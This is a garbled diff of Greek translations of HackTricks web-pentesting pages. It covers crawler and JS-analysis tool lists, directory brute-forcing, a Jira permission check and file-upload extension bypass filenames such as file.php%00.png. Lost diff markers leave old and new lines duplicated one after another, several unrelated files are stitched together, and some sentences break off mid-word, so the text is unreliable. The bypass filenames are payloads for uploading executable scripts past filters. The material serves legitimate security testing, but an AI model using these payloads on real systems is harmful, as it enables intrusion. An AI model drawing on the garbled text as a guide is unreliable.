* [**meg**](https://github.com/tomnomnom/meg) (go): Αυτό το εργαλείο δεν είναι μια αράχνη, αλλά μπορεί να είναι χρήσιμο. Μπορείτε απλά να υποδείξετε ένα αρχείο με hosts και ένα αρχείο με μονοπάτια και το meg θα ανακτήσει κάθε μονοπάτι σε κάθε host και θα αποθηκεύσει την απόκριση.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML αράχνη με δυνατότητες αναπαραγωγής JS. Ωστόσο, φαίνεται ότι δεν συντηρείται, η προεπιλεγμένη έκδοση είναι παλιά και ο τρέχων κώδικας δεν μεταγλωτίζεται.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML αράχνη με δυνατότητες απεικόνισης JS. Ωστόσο, φαίνεται ότι δεν συντηρείται, η προεπιλεγμένη έκδοση είναι παλιά και ο τρέχων κώδικας δεν μεταγλωτίζεται.
* [**gau**](https://github.com/lc/gau) (go): HTML αράχνη που χρησιμοποιεί εξωτερικούς παρόχους (wayback, otx, commoncrawl).
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Αυτό το script θα βρει URLs με παραμέτρους και θα τις καταχωρίσει.
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML αράχνη με δυνατότητες αναπαραγωγής JS.
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Αυτό το σενάριο θα βρει URLs με παράμετρο και θα τα καταχωρίσει.
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML αράχνη με δυνατότητες απεικόνισης JS.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML αράχνη, με δυνατότητες ομορφοποίησης JS ικανή να αναζητήσει νέα μονοπάτια σε αρχεία JS. Είναι αξίζει επίσης να ρίξετε μια ματιά στο [JSScanner](https://github.com/dark-warlord14/JSScanner), το οποίο είναι ένα περιτύλιγμα του LinkFinder.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Για την εξαγωγή σημείων αναφοράς τόσο στην πηγή HTML όσο και σε ενσωματωμένα αρχεία javascript. Χρήσιμο για κυνηγούς ευκαιριών ευπάθειας, ομάδες ερυθρού τόξου, infosec ninjas.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ένα script python 2.7 που χρησιμοποιεί Tornado και JSBeautifier για να αναλύσει σχετικές διευθύνσεις URL από αρχεία JavaScript. Χρήσιμο για την εύκολη ανακάλυψη αιτημάτων AJAX. Φαίνεται ότι δεν συντηρείται.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Για την εξαγωγή σημείων αναφοράς τόσο στην πηγή HTML όσο και σε ενσωματωμένα αρχεία javascript. Χρήσιμο για κυνηγούς ευκαιριών, ομάδες ερυθρού τόξου, infosec ninjas.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ένα σενάριο python 2.7 που χρησιμοποιεί Tornado και JSBeautifier για να αναλύσει σχετικές διευθύνσεις URL από αρχεία JavaScript. Χρήσιμο για την εύκολη ανακάλυψη αιτημάτων AJAX. Φαίνεται ότι δεν συντηρείται.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δεδομένου ενός αρχείου (HTML) θα εξάγει URLs από αυτό χρησιμοποιώντας ένα εξυπνο regular expression για να βρει και να εξάγει τα σχετικά URLs από άσχημα (συμπιεσμένα) αρχεία.
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, πολλά εργαλεία): Συγκεντρώνει ενδιαφέρουσες πληροφορίες από αρχεία JS χρησιμοποιώντας πολλά εργαλεία.
* [**subjs**](https://github.com/lc/subjs) (go): Βρίσκει αρχεία JS.
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώνει μια σελίδα σε ένα headless πρόγραμμα περιήγησης και εκτυπώνει όλες τις διευθύνσεις URL που φορτώθηκαν για να φορτώσει τη σελίδα.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Εργαλείο ανακάλυψης περιεχομένου που συνδυάζει διάφορες επιλογές των προηγούμενων εργαλείων.
* [**subjs**](https://github.com/lc/subjs) (go): Βρείτε αρχεία JS.
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώστε μια σελίδα σε ένα headless πρόγραμμα περιήγησης και εκτυπώστε όλες τις διευθύνσεις URL που φορτώθηκαν για να φορτώσετε τη σελίδα.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Εργαλείο ανακάλυψης περιεχομένου που συνδυάζει διάφορες επιλογές των προηγούμενων εργαλείων
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια επέκταση Burp για την εύρεση μονοπατιών και παραμέτρων σε αρχεία JS.
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ένα εργαλείο που δεδομένου του URL .js.map θα σας δώσει τον καλύτερο κώδικα JS.
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ένα εργαλείο που δεδομένου του URL .js.map θα σας πάρει τον κωδικό JS σε μορφή beautified
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Αυτό είναι ένα εργαλείο που χρησιμοποιείται για την ανακάλυψη σημείων αναφοράς για ένα συγκεκριμένο στόχο.
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύψτε συνδέσμους από το wayback machine (και κατεβάστε τις απαντήσεις στο wayback και αναζητήστε περισσότερους συνδέσμους
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύψτε συνδέσμους από το wayback machine (και κατεβάστε τις αποκρίσεις στο wayback και αναζητήστε περισσότερους συνδέσμους
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Αναζητήστε (ακόμα και συμπληρώνοντας φόρμες) και βρείτε ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένες regexes.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Το Spider Suite είναι ένα προηγμένο πολυχαρακτηριστικό GUI εργαλείο ασφάλειας ιστού Crawler/Spider σχεδιασμένο για επαγγελματίες κυβερνοασφάλειας.
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα πακέτο Go και [εργαλείο γραμμής εντολών](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για την εξαγωγή διευθύνσεων URL, μονοπατιών, μυστικών και άλλων ενδιαφερουσών δεδομένων από τον κώδικα πηγής JavaScript.
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Το ParaForge είναι μια απλή επέκταση **Burp Suite** για **εξαγωγή των παραμέτρων και των σημείων αναφοράς** από το αίτημα για τη δημιουργία προσαρμοσμένης λίστας λέξεων για fuzzing και απαρίθμηση.
* [**katana**](https://github.com/projectdiscovery/katana) (go): Εξαιρετικό εργαλείο γι' αυτό.
### Επίθεση Brute Force σε καταλόγους και αρχεία
### Επίθεση με βία σε καταλόγους και αρχεία
Ξεκινήστε την **επίθεση brute-force** από τον ριζικό φάκελο και βεβαιωθείτε ότι εφαρμόζετε επίθεση brute-force σε **όλους** τους **εντοπισμένους καταλόγους** χρησιμοποιώντας **αυτήν τη μέθοδο** και όλους τους καταλόγους **που ανακαλύφθηκαν** από την **αράχνη** (μπορείτε να κάνετε αυτήν την επίθεση brute-force **αναδρομικά** και να προσθέτετε στην αρχή της χρησιμοποιούμενης λίστας λέξεων τα ονόματα των εντοπισμένων καταλόγων).\
Ξεκινήστε την **επίθεση με βία** από τον ριζικό φάκελο και βεβαιωθείτε ότι επιτίθεστε με βία σε **όλους** τους **εντοπισμένους καταλόγους** χρησιμοποιώντας **αυτήν τη μέθοδο** και όλους τους καταλόγους **που ανακαλύφθηκαν** από την **αράχνη** (μπορείτε να κάνετε αυτήν την επίθεση με βία **αναδρομικά** και να προσθέτετε στην αρχή της χρησιμοποιούμενης λίστας λέξεων τα ονόματα των εντοπισμένων καταλόγων).\
Εργαλεία:
* **Dirb** / **Dirbuster** - Συμπεριλαμβάνεται στο Kali, **παλιό** (και **αργό**) αλλά λειτουργικό. Επιτρέπει αυτόματα υπογεγραμμένα πιστοποιητικά και αναδρομική αναζήτηση. Πολύ αργό σε σύγκριση με τις άλλες επιλογές.
@ -264,7 +264,7 @@ sslyze --regular <ip:port>
* _/usr/share/wordlists/dirb/big.txt_
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Σημείωση ότι κάθε φορά που ανακαλύπτετε ένα νέο κατάλογο κατά τη διαδικασία της επίθεσης με δύναμη ή της ανάκρισης, πρέπει να γίνει επίθεση με δύναμη._
_Σημείωση ότι κάθε φορά που ανακαλύπτετε ένα νέο κατάλογο κατά τη διαδικασία της επίθεσης με δύναμη ή της ανάκτησης πληροφοριών, πρέπει να γίνει επίθεση με δύναμη._
### Τι να ελέγξετε σε κάθε αρχείο που βρίσκετε
@ -273,34 +273,34 @@ _Σημείωση ότι κάθε φορά που ανακαλύπτετε έν
* **Ανακάλυψη νέων παραμέτρων**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυμμένες παραμέτρους. Αν μπορείτε, μπορείτε να δοκιμάσετε** κρυμμένες παραμέτρους σε κάθε εκτελέσιμο αρχείο ιστού.
* _Όλοι οι προεπιλεγμένοι κατάλογοι λέξεων του Arjun:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner "params":_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote "parameters\_top\_1m":_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _Assetnote "parameters_top_1m":_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de "params.txt":_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **Σχόλια:** Ελέγξτε τα σχόλια όλων των αρχείων, μπορείτε να βρείτε **διαπιστευτήρια** ή **κρυφή λειτουργικότητα**.
* Εάν παίζετε **CTF**, ένα "συνηθισμένο" κόλπος είναι να **κρύψετε** **πληροφορίες** μέσα στα σχόλια στη **δεξιά** πλευρά της **σελίδας** (χρησιμοποιώντας **εκατοντάδες** **κενά** ώστε να μην βλέπετε τα δεδομένα αν ανοίξετε τον πηγαίο κώδικα με τον περιηγητή). Άλλη πιθανότητα είναι να χρησιμοποιήσετε **πολλές νέες γραμμές** και να **κρύψετε πληροφορίες** σε ένα σχόλιο στο **κάτω μέρος** της ιστοσελίδας.
* **Κλειδιά API**: Εάν βρείτε **οποιοδήποτε κλειδί API** υπάρχει οδηγός που υποδεικνύει πώς να χρησιμοποιήσετε κλειδιά API διαφορετικών πλατφορμών: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Κλειδιά Google API: Εάν βρείτε οποιοδήποτε κλειδί API που μοιάζει με **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik μπορείτε να χρησιμοποιήσετε το έργο [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) για να ελέγξετε ποιες APIs μπορεί να έχει πρόσβαση το κλειδί.
* **Κάδοι S3**: Κατά την ανάκριση ψάξτε αν κάποιο **υποτομέα** ή οποιοδήποτε **σύνδεσμος** σχετίζεται με κάποιον **κάδο S3**. Σε αυτήν την περίπτωση, [**ελέγξτε** τις **άδειες** του κάδου](buckets/).
* **Κάδοι S3**: Κατά τη διαδικασία της ανάκτησης πληροφοριών, ελέγξτε αν κάποιο **υποτομέα** ή οποιοδήποτε **σύνδεσμος** σχετίζεται με κάποιον **κάδο S3**. Σε αυτήν την περίπτωση, [**ελέγξτε** τις **άδειες** του κάδου](buckets/).
### Ειδικές ευρήσεις
### Ειδικές ευρήματα
**Κατά την** εκτέλεση της **ανάκρισης** και της **επίθεσης με δύναμη** μπορείτε να βρείτε **ενδιαφέροντα** **πράγματα** που πρέπει να **παρατηρήσετε**.
**Κατά την** εκτέλεση της **ανάκτησης πληροφοριών** και της **επίθεσης με δύναμη**, μπορείτε να βρείτε **ενδιαφέρουσες** **πληροφορίες** που πρέπει να **προσέξετε**.
**Ενδιαφέροντα αρχεία**
* Αναζητήστε **συνδέσμους** προς άλλα αρχεία μέσα στα αρχεία **CSS**.
* [Εάν βρείτε ένα αρχείο _**.git**_ μπορεί να εξαχθούν πληροφορίες](git.md)
* Εάν βρείτε ένα _**.env**_ μπορεί να βρεθούν πληροφορίες όπως κλειδιά API, κωδικοί βάσεων δεδομένων και άλλες πληροφορίες.
* Εάν βρείτε **σημεία API** θα πρέπει [να τα ελέγξετε επίσης](web-api-pentesting.md). Δεν είναι αρχεία, αλλά πιθανώς θα "μοιάζουν" με αυτά.
* **Αρχεία JS**: Στην ενότητα της ανάκρισης αναφέρθηκαν διάφορα εργαλεία που μπορούν να εξάγουν διαδρομές από αρχεία JS. Επίσης, θα ήταν ενδιαφέρον να **παρακολουθείτε κάθε αρχείο JS που βρίσκετε**, καθώς σε ορισμένες περιπτώσεις, μια αλλαγή μπορεί να υποδείξει ότι εισήχθη μια πιθανή ευπάθεια στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα το [**JSMon**](https://github.com/robre/jsmon)**.**
* Θα πρέπει επίσης να ελέγχετε τα ανακαλυφθέντα αρχεία JS με το [**RetireJS**](https://github.com/retirejs/retire.js/) ή το [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάθροι.
* Εάν βρείτε **σημεία πρόσβασης API** θα πρέπει επίσης να τα ελέγξετε. Δεν είναι αρχεία, αλλά πιθανότατα θα "μοιάζουν" με αυτά.
* **Αρχεία JS**: Στην ενότητα της ανάκτησης πληροφοριών αναφέρθηκαν διάφορα εργαλεία που μπορούν να εξάγουν διαδρομές από αρχεία JS. Επίσης, θα ήταν ενδιαφέρον να **παρακολουθείτε κάθε αρχείο JS που βρίσκετε**, καθώς σε ορισμένες περιπτώσεις, μια αλλαγή μπορεί να υποδείξει ότι εισήχθη μια πιθανή ευπάθεια στον κώδικα. Μπορείτε να χρησιμοποιήσετε, για παράδειγμα, το [**JSMon**](https://github.com/robre/jsmon)**.**
* Θα πρέπει επίσης να ελέγχετε τα ανακαλυφθέντα αρχεία JS με το [**RetireJS**](https://github.com/retirejs/retire.js/) ή το [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα.
* **Αποκωδικοποιητής και αποσυμπιεστής Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Ομορφοποιητής Javascript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
* **Αποκωδικοποίηση JsFuck** (javascript με χαρακτήρες:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
* Σε πολλές περιπτώσεις θα χρειαστεί να **κατανοήσετε τις τακτικές εκφράσεις** που χρησιμοποιούνται, αυτό θα είναι χρήσιμο: [https://regex101.com/](https://regex101.com)
* Μπορείτε επίσης να **παρακολουθείτε τα αρχεία όπου ανιχνεύθηκαν φόρμες**, καθώς μια αλλαγή στην παράμετρο ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδηλώνει μια πιθανή νέα ευάθροια λειτουργικότητα.
* Μπορείτε επίσης να **παρακολουθείτε τα αρχεία όπου ανιχνεύθηκαν φόρμες**, καθώς μια αλλαγή στην παράμετρο ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδείξει μια πιθανή νέα ευάλωτη λειτουργικότητα.
**403 Forbidden/Βασική Ταυτοποίηση/401 Μη εξουσιοδοτημένο (παράκαμψη)**
**403 Forbidden/Βασική Ταυτοποίηση/401 Μη εξουσιοδότηση (παράκαμψη)**
{% content-ref url="403-and-401-bypasses.md" %}
[403-and-401-bypasses.md](403-and-401-bypasses.md)
@ -308,16 +308,16 @@ _Σημείωση ότι κάθε φορά που ανακαλύπτετε έν
**502 Σφάλμα Προϊστορίας**
Εάν μια σελίδα απαντά με αυτόν τον κωδικό, πιθανότατα πρόκειται για κακά διαμορφωμένο διακομιστή μεσολάβησης. **Αν στείλετε ένα αίτημα HTTP όπως: `GET https://google.com HTTP/1.1`** (με την κεφαλή και άλλες κοινές κεφαλίδες), ο **διακομιστής μεσολάβ
Εάν μια σελίδα απαντά με αυτόν τον κωδικό, πιθανότατα πρόκειται για κακή διαμόρφωση προξενητή. **Εάν στείλετε ένα αίτημα HTTP όπως: `GET https://google.com HTTP/1.1`** (με τη
### Έλεγχος Ευπαθειών Ιστού
Τώρα που έχει πραγματοποιηθεί μια σφαιρική απαρίθμηση της εφαρμογής ιστού, είναι καιρός να ελεγχθούν πολλές πιθανές ευπαθείες. Μπορείτε να βρείτε τον έλεγχο εδώ:
Τώρα που έχει πραγματοποιηθεί μια σφαιρική απαρίθμηση της ιστοσελίδας, είναι καιρός να ελεγχθούν πολλές πιθανές ευπαθείες. Μπορείτε να βρείτε τον έλεγχο εδώ:
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
{% endcontent-ref %}
Βρείτε περισσότερες πληροφορίες σχετικά με ευπαθείες ιστού στα παρακάτω links:
Βρείτε περισσότερες πληροφορίες σχετικά με ευπαθείες ιστού σε:
* [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
@ -325,11 +325,11 @@ _Σημείωση ότι κάθε φορά που ανακαλύπτετε έν
### Παρακολούθηση Σελίδων για Αλλαγές
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) για να παρακολουθείτε σελίδες για τροποποιήσεις που ενδέχεται να εισάγουν ευπαθείες.
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) για την παρακολούθηση σελίδων για τροποποιήσεις που ενδέχεται να εισάγουν ευπαθείες.
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και το χάκινγκ του αδύνατου να χακαριστεί - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών_).
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και το χάκαρισμα του αχάκαρτου - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -409,10 +409,10 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -14,17 +14,17 @@
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακέβατο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών_).
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και το χάκαρισμα του αχάκαρτου - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
{% embed url="https://www.stmcyber.com/careers" %}
### Έλεγχος Δικαιωμάτων
Στο Jira, τα **δικαιώματα μπορούν να ελεγχθούν** από οποιονδήποτε χρήστη, είτε είναι επαληθευμένος είτε όχι, μέσω των σημείων ακρόασης `/rest/api/2/mypermissions` ή `/rest/api/3/mypermissions`. Αυτά τα σημεία αποκαλύπτουν τα τρέχοντα δικαιώματα του χρήστη. Μια σημαντική ανησυχία προκύπτει όταν **μη επαληθευμένοι χρήστες έχουν δικαιώματα**, υποδεικνύοντας μια **ευπάθεια ασφαλείας** που θα μπορούσε ενδεχομένως να είναι επιλέξιμη για **ανταμοιβή**. Επίσης, **απροσδόκητα δικαιώματα για επαληθευμένους χρήστες** υπογραμίζουν επίσης μια **ευπάθεια**.
Στο Jira, τα **δικαιώματα μπορούν να ελεγχθούν** από οποιονδήποτε χρήστη, είτε είναι εξουσιοδοτημένος είτε όχι, μέσω των σημείων ακρόασης `/rest/api/2/mypermissions` ή `/rest/api/3/mypermissions`. Αυτά τα σημεία αποκαλύπτουν τα τρέχοντα δικαιώματα του χρήστη. Μια σημαντική ανησυχία προκύπτει όταν **μη εξουσιοδοτημένοι χρήστες έχουν δικαιώματα**, υποδεικνύοντας μια **ευπάθεια ασφαλείας** που θα μπορούσε ενδεχομένως να είναι επιλέξιμη για **ανταμοιβή**. Επίσης, **απροσδόκητα δικαιώματα για εξουσιοδοτημένους χρήστες** υπογραμμίζουν επίσης μια **ευπάθεια**.
Ένα σημαντικό **update** έγινε στις **1η Φεβρουαρίου 2019**, απαιτώντας το 'mypermissions' σημείο να περιλαμβάνει ένα **'παράμετρο δικαιωμάτων'**. Αυτή η απαίτηση στοχεύει στο **ενισχυμένο επίπεδο ασφαλείας** με την καθορισμό των δικαιωμάτων που εξετάζονται: [ελέγξτε το εδώ](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
Ένα σημαντικό **update** έγινε στις **1η Φεβρουαρίου 2019**, απαιτώντας από το σημείο 'mypermissions' να περιλαμβάνει ένα **παράμετρο 'permission'**. Αυτή η απαίτηση στοχεύει στο **ενισχυμένο επίπεδο ασφαλείας** με την καθορισμό των δικαιωμάτων που εξετάζονται: [ελέγξτε το εδώ](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
* ADD\_COMMENTS
* ADMINISTER
@ -78,9 +78,9 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακέβατο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών_).
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακούρευτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -90,10 +90,10 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -14,9 +14,9 @@
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακέυτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικού_).
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακέυτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -49,7 +49,7 @@
* _file._
* _file.php...._
* _file.pHp5...._
4. Δοκιμάστε να παρακάμψετε τις προστασίες **εξαπατώντας τον αναλυτή επέκτασης** της πλευράς του διακομιστή με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη ανώμαλων** δεδομένων (μηδενικά bytes) μεταξύ των επεκτάσεων. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να ετοιμάσετε ένα καλύτερο φορτίο._
4. Δοκιμάστε να παρακάμψετε τις προστασίες **απατώντας τον αναλυτή επέκτασης** της πλευράς του διακομιστή με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη ανώμαλων** δεδομένων (**μηδενικά** bytes) μεταξύ των επεκτάσεων. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να ετοιμάσετε ένα καλύτερο φορτίο._
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
@ -62,9 +62,9 @@
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
